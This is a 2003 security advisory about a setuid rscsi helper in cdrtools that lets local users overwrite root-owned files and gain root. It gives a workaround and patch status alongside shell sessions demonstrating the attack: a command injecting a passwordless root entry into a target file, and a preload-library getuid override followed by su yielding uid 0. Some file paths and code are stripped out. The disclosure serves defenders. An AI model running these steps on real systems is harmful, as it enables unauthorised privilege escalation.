Type packetstorm
Reporter Kevin Finisterre
Modified 2003-08-05T00:00:00


                                            `Secure Network Operations, Inc.  
Strategic Reconnaissance Team  
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Quick Summary:  
Advisory Number : SRT2003-08-01-0126  
Product : cdrtools (rscsi)  
Version : Version <= cdrtools-2.x  
Vendor :  
Class : local  
Criticality : High  
Operating System(s) : *nix  
High Level Explanation  
High Level Description : suid rscsi overwrites root owned files  
What to do : chmod -s /opt/schily/sbin/rscsi  
Technical Details  
Proof Of Concept Status : SNO has PoC code for this issue  
Low Level Description :   
Cdrecord supports DVD-R and DVD-RW with all known DVD-writers on all UNIX  
like operating systems and on Win32.   
A setuid helper binary allows files to be overwritten by non root users.   
One side effect of the overwritten file is that the permissions become  
writable by the user calling the rscsi program. These issues can allow a  
non root user to take local root on the machine that has cdrtools installed  
Initial attempts to exploit this issue failed for an unknown reason... this  
however may still be a valid method of attack. We make use of the first   
argument passed to rscsi in order to choose the file we wish to write to.  
Due to the output from rscsi we make use of 0x08 in order to delete some of   
the characters that otherwise would be written. This attack method relys on   
placing a line of text at the end of a file. Please note that 2 other lines   
of garbage will be placed in the file which may cause other issues.   
elguapo@gentoo elguapo $ echo C`echo -e   
"\x08\x08\x08\x08\x08\x08\x08\x08\x08\x08r00t::0:0:root:/:/bin/bash\x0a"` |   
/opt/schily/sbin/rscsi /tmp/lala  
Segmentation fault (this segfault is not related to the security issue)  
elguapo@gentoo elguapo $ cat /tmp/lala  
rscsid: user id 1000, name elguapo  
rmt: stdin is a PIPE  
When attempting to echo this line to the password file we get the following   
error. Please note that the password file IS still overwritten at this point.   
Illegal user id for RSCSI server  
elguapo@gentoo elguapo $ cat /etc/passwd  
rscsid: Illegal user '(NULL POINTER)' id 1000 for RSCSI server  
rscsid:>E 0 (Illegal user id for RSCSI server) []  
We DO however have other exploitation options such as the one listed below.   
[kf@vegeta kf]$ ls -al /etc/  
ls: /etc/ No such file or directory  
[kf@vegeta kf]$ cat > oops.c  
int getuid(void)  
[kf@vegeta kf]$ gcc -c -o oops.o oops.c  
[kf@vegeta kf]$ ld -shared -o oops.o  
[kf@vegeta kf]$ ls -al  
-rwxrwxr-x 1 kf kf 1714 Jul 30 18:53  
[kf@vegeta kf]$ echo duh_kf | /opt/schily/sbin/rscsi /etc/  
Garbage command  
Note that we now have write permissions to /etc/  
-rw-rw-r-- 1 root kf 1 Jul 30 19:29 /etc/  
Time to take root  
[kf@vegeta kf]$ echo /home/kf/ > /etc/  
[kf@vegeta kf]$ su  
[root@vegeta kf]# rm /etc/  
rm: remove regular file `/etc/'? y  
[root@vegeta kf]# id  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
Patch or Workaround : chmod -s /opt/schily/sbin/rscsi  
Vendor Status : patched in cdrtools-2.01a18.tar.gz  
Bugtraq URL : to be assigned  
This advisory was released by Secure Network Operations,Inc. as a matter  
of notification to help administrators protect their networks against  
the described vulnerability. Exploit source code is no longer released  
in our advisories. Contact for information on how  
to obtain exploit information.